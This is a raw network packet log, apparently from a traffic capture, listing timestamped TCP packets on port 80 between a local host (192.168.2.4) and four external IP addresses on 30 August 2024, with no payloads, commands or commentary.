Aug 30, 2024 03:17:07.404869080 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404870033 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404887915 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404915094 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.404925108 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404939890 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.404972076 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.406213999 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.406224012 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.406233072 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.406259060 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.406284094 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.406306982 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.406318903 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.406327963 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.406339884 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.406349897 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.406351089 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.406362057 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.406373024 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.406382084 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.406383038 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.406388998 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.406409025 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.406451941 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.406462908 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.406472921 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.406483889 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.406491041 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.406495094 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.406505108 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.406517982 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.406537056 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.407618046 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.407655954 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.407665968 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.407705069 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.407742977 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.407752991 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.407763004 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.407769918 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.407776117 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.407785892 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.407788992 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.407795906 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.407809019 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.407814980 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.407819986 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.407840967 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.407843113 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.407845974 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.407854080 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.407860994 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.407865047 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.407875061 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.407885075 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.407891989 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.407893896 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.407893896 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.407907963 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.407917976 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.407918930 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.407919884 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.407933950 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.407955885 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.407964945 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.407965899 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.407967091 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.407984018 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.407991886 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.407999992 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408005953 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408011913 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408021927 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408024073 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408035040 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408037901 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408047915 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408057928 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408081055 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408107996 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408122063 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408147097 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408154011 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408158064 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408168077 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408178091 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408185005 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408190012 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408204079 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408204079 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408225060 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408229113 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408240080 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408248901 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408248901 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408262014 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408273935 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408298969 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408469915 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408485889 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408499002 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408509970 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.408519030 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408529997 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408531904 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.408539057 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408560038 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.408566952 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408576012 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.408576965 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408596992 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.408603907 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408611059 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.408613920 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408624887 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408633947 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408634901 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.408646107 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.408668995 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.408670902 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408706903 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408719063 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408727884 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408740044 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408746004 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408750057 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408761978 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408768892 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408771992 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408787012 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408814907 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408854961 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408866882 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408875942 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408885956 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408896923 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408899069 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408907890 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.408917904 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408919096 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408931017 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408936024 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408961058 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.408962011 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.408963919 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408972979 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408982992 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.408988953 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.408993959 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409014940 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.409038067 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.409148932 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409158945 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409168959 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409181118 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409190893 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409190893 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.409200907 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.409209013 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.409212112 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.409221888 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.409221888 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.409233093 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.409243107 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.409248114 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.409255028 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.409266949 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.409281015 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.409284115 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.409297943 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409302950 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.409310102 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409316063 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.409322977 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409331083 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409336090 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.409339905 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409351110 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.409352064 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409363031 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409368992 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.409373999 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409383059 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.409384012 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.409406900 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.409421921 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.410115957 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.410135984 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.410154104 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.410168886 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.410213947 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.410224915 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.410239935 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.410249949 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.410259962 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.410264969 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.410284996 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.410298109 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.410451889 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.410495996 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.432925940 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.432934999 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.432940006 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.432998896 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.433005095 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.433010101 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.433015108 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.433095932 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.433149099 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.433171988 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.433182001 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.433192015 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.433203936 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.433208942 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.433213949 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.433223963 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.433228970 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.433238983 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.433248043 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.433252096 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.433269978 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.433288097 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.443949938 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.443962097 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.443973064 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.444015980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.444026947 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.444027901 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.444039106 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.444051027 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.444061041 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.444087982 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.446384907 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.446396112 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.446405888 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.446417093 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.446428061 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.446433067 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.446439981 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.446449041 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.446451902 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.446461916 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.446469069 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.446492910 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.451271057 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.451282978 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.451292038 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.451323986 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.451334953 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.451401949 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.451411009 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.451421022 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.451436996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.451440096 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.451447964 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.451462984 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.451487064 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.452724934 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.452735901 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.452747107 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.452756882 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.452773094 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.452780962 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.452784061 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.452792883 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.452795029 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.452805042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.452815056 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.452821016 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.452826023 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.452836037 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.452846050 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.452857971 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.452883959 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453022003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453032970 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453042030 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453052044 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453058958 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453078032 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453080893 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453088999 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453097105 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453099012 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453109026 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453109980 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453123093 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453131914 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453133106 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453147888 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453157902 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453159094 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453169107 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453169107 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453178883 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453188896 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453196049 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453201056 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453211069 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453221083 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453227043 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453233004 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453238010 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453250885 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453274012 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453557968 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453568935 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453577995 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453588963 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453598976 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453603029 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453609943 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453634024 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453655958 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453829050 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453844070 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453854084 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453865051 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453876972 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453883886 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453887939 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453896046 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453901052 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453911066 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453924894 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453927040 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453933001 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453938007 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453948021 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453958988 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.453958988 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.453969955 CEST	80	49734	147.45.44.104	192.168.2.4
